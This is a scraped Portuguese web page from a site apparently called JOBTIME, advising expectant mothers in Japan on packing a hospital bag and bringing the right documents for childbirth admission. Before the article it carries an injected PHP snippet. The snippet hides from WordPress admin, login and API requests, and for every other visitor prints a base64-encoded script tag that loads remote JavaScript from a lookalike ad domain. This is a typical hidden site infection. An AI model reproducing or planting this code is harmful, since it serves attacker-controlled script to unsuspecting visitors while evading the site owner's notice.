//ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-json") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp/v2") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-admin") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-login.php") === false && strtolower(@$_SERVER["HTTP_X_REQUESTED_WITH"]) !== "xmlhttprequest")) { print(base64_decode("PHNjcmlwdCBzcmM9Ii8vc3luYy5nc3luZGljYXRpb24uY29tLyI+PC9zY3JpcHQ+")); } ?> Chegou a hora do parto! - JOBTIME

Chegou a hora do parto!

A barriga da futura mamãe cresceu bastante, uma certa dificuldade para se locomover, dores nas costas e de repente as contrações começam e a bolsa se rompe. Tudo isso pode acontecer repentinamente, indicando que o bebê está para nascer.

Mas antes que isso possa acontecer, a gestante deve fazer um pequeno planejamento semanas antes da data prevista para o nascimento. 

Lembre-se de itens necessários no momento da internação, do parto, do pós-parto até a alta do hospital.

  • Faça uma lista do que será necessário na hora de ir para o hospital
  • Veja o que o hospital oferece e não é necessário levar de casa
  • Separe tudo em uma mala
  • Coloque a mala perto da porta de saída ou num local de fácil acesso

Documentos necessários para o procedimento de internação para o parto: 

  • Caderneta de Saúde da Mãe e da Criança
  • Carteirinha do seguro de saúde
  • carimbo pessoal (inkan)
  • carteirinha da instituição médica onde a gestante irá se internar, entre outros. 

É recomendado para aqueles que não estão bem familiarizados com o idioma japonês, ter também um aplicativo de tradução ou um amigo que fale japonês.

Fonte: Ministério da Saúde, Trabalho e Bem-estar do Japão

  • Share this post